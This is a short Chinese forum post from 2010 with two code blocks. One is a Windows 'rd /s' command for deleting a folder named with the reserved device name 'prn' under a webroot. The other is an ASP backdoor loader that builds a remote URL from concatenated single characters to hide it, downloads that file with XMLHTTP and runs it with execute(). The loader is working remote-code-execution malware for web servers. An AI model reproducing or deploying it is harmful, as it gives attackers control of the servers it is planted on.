本帖最后由 灰儿 于 2010-11-16 15:31 编辑
删除命令
- rd /s \\.\E:\webhosting\wwwroot\prn.0418EE4F
复制代码
- <%
- 'by*aming
- dim amxml,amtxt,amado
- amtxt="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&"/"&"b"&"o"&"t"&"/"&"c"&"o"&"n"&"f"&"i"&"g"&"."&"t"&"x"&"t"
- Set amxml=CreateObject("Microsoft.XMLHTTP")
- amxml.Open "Get",amtxt,False,"",""
- amxml.setRequestHeader "User-Agent",amtxt
- amxml.Send
- set amado=Server.CreateObject("adodb.stream")
- amado.Type=1
- amado.Mode=3
- amado.Open
- amado.Write amxml.ResponseBody
- amado.Position=0
- amado.Type=2
- amado.Charset="gb2312"
- execute(amado.ReadText)
- amado.Close
- set amado=nothing
- Set amxml=nothing
- %>
复制代码 |
|